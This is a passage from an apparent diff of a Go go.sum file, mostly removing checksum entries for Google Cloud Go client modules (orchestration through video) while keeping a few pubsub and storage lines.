h1:j64vZQP7h9bO49m2rVaTVoNM0vEBEN5eKPUPbZyXOrk= -cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= -cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= -cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= -cloud.google.com/go/orchestration v1.8.1/go.mod h1:4sluRF3wgbYVRqz7zJ1/EUNc90TTprliq9477fGobD8= -cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= -cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= -cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= -cloud.google.com/go/orgpolicy v1.11.0/go.mod h1:2RK748+FtVvnfuynxBzdnyu7sygtoZa1za/0ZfpOs1M= -cloud.google.com/go/orgpolicy v1.11.1/go.mod h1:8+E3jQcpZJQliP+zaFfayC2Pg5bmhuLK755wKhIIUCE= -cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= -cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= -cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= -cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= -cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= -cloud.google.com/go/osconfig v1.12.0/go.mod h1:8f/PaYzoS3JMVfdfTubkowZYGmAhUCjjwnjqWI7NVBc= -cloud.google.com/go/osconfig v1.12.1/go.mod h1:4CjBxND0gswz2gfYRCUoUzCm9zCABp91EeTtWXyz0tE= -cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= -cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= -cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= -cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= -cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= -cloud.google.com/go/oslogin v1.10.1/go.mod h1:x692z7yAue5nE7CsSnoG0aaMbNoRJRXO4sn73R+ZqAs= -cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= -cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= -cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= -cloud.google.com/go/phishingprotection v0.8.1/go.mod h1:AxonW7GovcA8qdEk13NfHq9hNx5KPtfxXNeUxTDxB6I= -cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= -cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= -cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= -cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= -cloud.google.com/go/policytroubleshooter v1.7.1/go.mod h1:0NaT5v3Ag1M7U5r0GfDCpUFkWd9YqpubBWsQlhanRv0= -cloud.google.com/go/policytroubleshooter v1.8.0/go.mod h1:tmn5Ir5EToWe384EuboTcVQT7nTag2+DuH3uHmKd1HU= -cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= -cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= -cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= -cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= -cloud.google.com/go/privatecatalog v0.9.1/go.mod h1:0XlDXW2unJXdf9zFz968Hp35gl/bhF4twwpXZAW50JA= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= -cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= -cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= -cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= -cloud.google.com/go/pubsub v1.32.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= -cloud.google.com/go/pubsub v1.33.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= -cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= -cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= -cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= -cloud.google.com/go/pubsublite v1.8.1/go.mod h1:fOLdU4f5xldK4RGJrBMm+J7zMWNj/k4PxwEZXy39QS0= -cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= -cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= -cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= -cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= -cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= -cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= -cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= -cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= -cloud.google.com/go/recaptchaenterprise/v2 v2.7.2/go.mod h1:kR0KjsJS7Jt1YSyWFkseQ756D45kaYNTlDPPaRAvDBU= -cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= -cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= -cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= -cloud.google.com/go/recommendationengine v0.8.1/go.mod h1:MrZihWwtFYWDzE6Hz5nKcNz3gLizXVIDI/o3G1DLcrE= -cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= -cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= -cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= -cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= -cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= -cloud.google.com/go/recommender v1.10.1/go.mod h1:XFvrE4Suqn5Cq0Lf+mCP6oBHD/yRMA8XxP5sb7Q7gpA= -cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= -cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= -cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= -cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= -cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= -cloud.google.com/go/redis v1.13.1/go.mod h1:VP7DGLpE91M6bcsDdMuyCm2hIpB6Vp2hI090Mfd1tcg= -cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= -cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= -cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= -cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= -cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= -cloud.google.com/go/resourcemanager v1.9.1/go.mod h1:dVCuosgrh1tINZ/RwBufr8lULmWGOkPS8gL5gqyjdT8= -cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= -cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= -cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= -cloud.google.com/go/resourcesettings v1.6.1/go.mod h1:M7mk9PIZrC5Fgsu1kZJci6mpgN8o0IUzVx3eJU3y4Jw= -cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= -cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= -cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= -cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= -cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= -cloud.google.com/go/retail v1.14.1/go.mod h1:y3Wv3Vr2k54dLNIrCzenyKG8g8dhvhncT2NcNjb/6gE= -cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= -cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= -cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= -cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= -cloud.google.com/go/run v1.2.0/go.mod h1:36V1IlDzQ0XxbQjUx6IYbw8H3TJnWvhii963WW3B/bo= -cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= -cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= -cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= -cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= -cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= -cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= -cloud.google.com/go/scheduler v1.10.1/go.mod h1:R63Ldltd47Bs4gnhQkmNDse5w8gBRrhObZ54PxgR2Oo= -cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= -cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= -cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= -cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= -cloud.google.com/go/secretmanager v1.11.1/go.mod h1:znq9JlXgTNdBeQk9TBW/FnR/W4uChEKGeqQWAJ8SXFw= -cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= -cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= -cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= -cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= -cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= -cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= -cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= -cloud.google.com/go/security v1.15.1/go.mod h1:MvTnnbsWnehoizHi09zoiZob0iCHVcL4AUBj76h9fXA= -cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= -cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= -cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= -cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= -cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= -cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= -cloud.google.com/go/securitycenter v1.23.0/go.mod h1:8pwQ4n+Y9WCWM278R8W3nF65QtY172h4S8aXyI9/hsQ= -cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= -cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= -cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= -cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= -cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= -cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= -cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= -cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= -cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= -cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= -cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= -cloud.google.com/go/servicedirectory v1.10.1/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicedirectory v1.11.0/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= -cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= -cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= -cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= -cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= -cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= -cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= -cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= -cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= -cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= -cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= -cloud.google.com/go/shell v1.7.1/go.mod h1:u1RaM+huXFaTojTbW4g9P5emOrrmLE69KrxqQahKn4g= -cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= -cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= -cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= -cloud.google.com/go/spanner v1.47.0/go.mod h1:IXsJwVW2j4UKs0eYDqodab6HgGuA1bViSqW4uH9lfUI= -cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= -cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= -cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= -cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= -cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= -cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= -cloud.google.com/go/speech v1.17.1/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= -cloud.google.com/go/speech v1.19.0/go.mod h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= -cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= -cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= -cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= -cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= -cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= -cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= -cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= -cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= -cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= -cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= -cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= -cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= -cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= -cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= -cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= -cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= -cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= -cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= -cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= -cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= -cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= -cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= -cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= -cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= -cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= -cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= -cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= -cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= -cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= -cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= -cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= -cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= -cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= -cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= -cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= -cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= -cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= -cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= -cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= -cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/video 